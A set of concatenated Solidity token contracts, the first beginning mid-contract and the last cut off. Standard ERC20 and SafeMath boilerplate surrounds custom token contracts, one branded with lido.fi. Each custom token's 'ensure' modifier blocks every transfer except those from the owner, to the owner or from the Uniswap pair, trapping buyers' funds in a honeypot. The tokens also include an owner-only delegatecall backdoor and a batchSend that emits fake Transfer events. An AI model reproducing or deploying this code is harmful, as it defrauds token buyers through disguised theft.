function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
//solidity.finance
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
//solidity.finance
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract SOL {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
//rebase
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
//mapping address
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.15;
/*
_______ __ __
/ \ / | / |
$$$$$$$ |$$ | __ __ ______ ______ ______ $$ |____
$$ |__$$ |$$ |/ | / | / \ ______ / \ / \ $$ \
$$ $$< $$ |$$ | $$ |/$$$$$$ |/ |/$$$$$$ |/$$$$$$ |$$$$$$$ |
$$$$$$$ |$$ |$$ | $$ |$$ $$ |$$$$$$/ $$ | $$ |$$ | $$/ $$ | $$ |
$$ |__$$ |$$ |$$ \__$$ |$$$$$$$$/ $$ \__$$ |$$ | $$ |__$$ |
$$ $$/ $$ |$$ $$/ $$ | $$ $$/ $$ | $$ $$/
$$$$$$$/ $$/ $$$$$$/ $$$$$$$/ $$$$$$/ $$/ $$$$$$$/
_____ _ _ __ _
/ ____| | | | / _| | |
| (___ | |_ __ _| | _____ | |_ ___ _ __ __ _ __ _ ___| |
\___ \| __/ _` | |/ / _ \ | _/ _ \| '__| / _` |/ _` / __| |
____) | || (_| | < __/ | || (_) | | | (_| | (_| \__ \_|
|_____/ \__\__,_|_|\_\___| |_| \___/|_| \__, |\__,_|___(_)
__/ |
|___/
*/
// Copyright (C) 2015, 2016, 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
https://lido.fi/
_ _____ _____ ____ ______ _____
| | |_ _| __ \ / __ \ | ____|_ _|
| | | | | | | | | | || |__ | |
| | | | | | | | | | || __| | |
| |____ _| |_| |__| | |__| || | _| |_
|______|_____|_____/ \____(_)_| |_____|
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract lidoFI {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
//
// 88888888ba 88 88 88 88888888888 ,ad8888ba, ,ad8888ba, 88888888ba 88888888ba 8b d8
// 88 "8b 88 88 88 88 d8"' `"8b d8"' `"8b 88 "8b 88 "8b Y8, ,8P
// 88 ,8P 88 88 88 88 d8' d8' `8b 88 ,8P 88 ,8P Y8, ,8P
// 88aaaaaa8P' 88 88 88 88aaaaa 88 88 88 88aaaaaa8P' 88aaaaaa8P' "8aa8"
// 88""""""8b, 88 88 88 88""""" aaaaaaaa 88 88 88 88""""88' 88""""""8b, `88'
// 88 `8b 88 88 88 88 """""""" Y8, Y8, ,8P 88 `8b 88 `8b 88
// 88 a8P 88 Y8a. .a8P 88 Y8a. .a8P Y8a. .a8P 88 `8b 88 a8P 88
// 88888888P" 88888888888 `"Y8888Y"' 88888888888 `"Y8888Y"' `"Y8888Y"' 88 `8b 88888888P" 88
//
//
//
// https://t.me/BlueCorby
//
//
//
// ORB meets Blue Kirby!
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
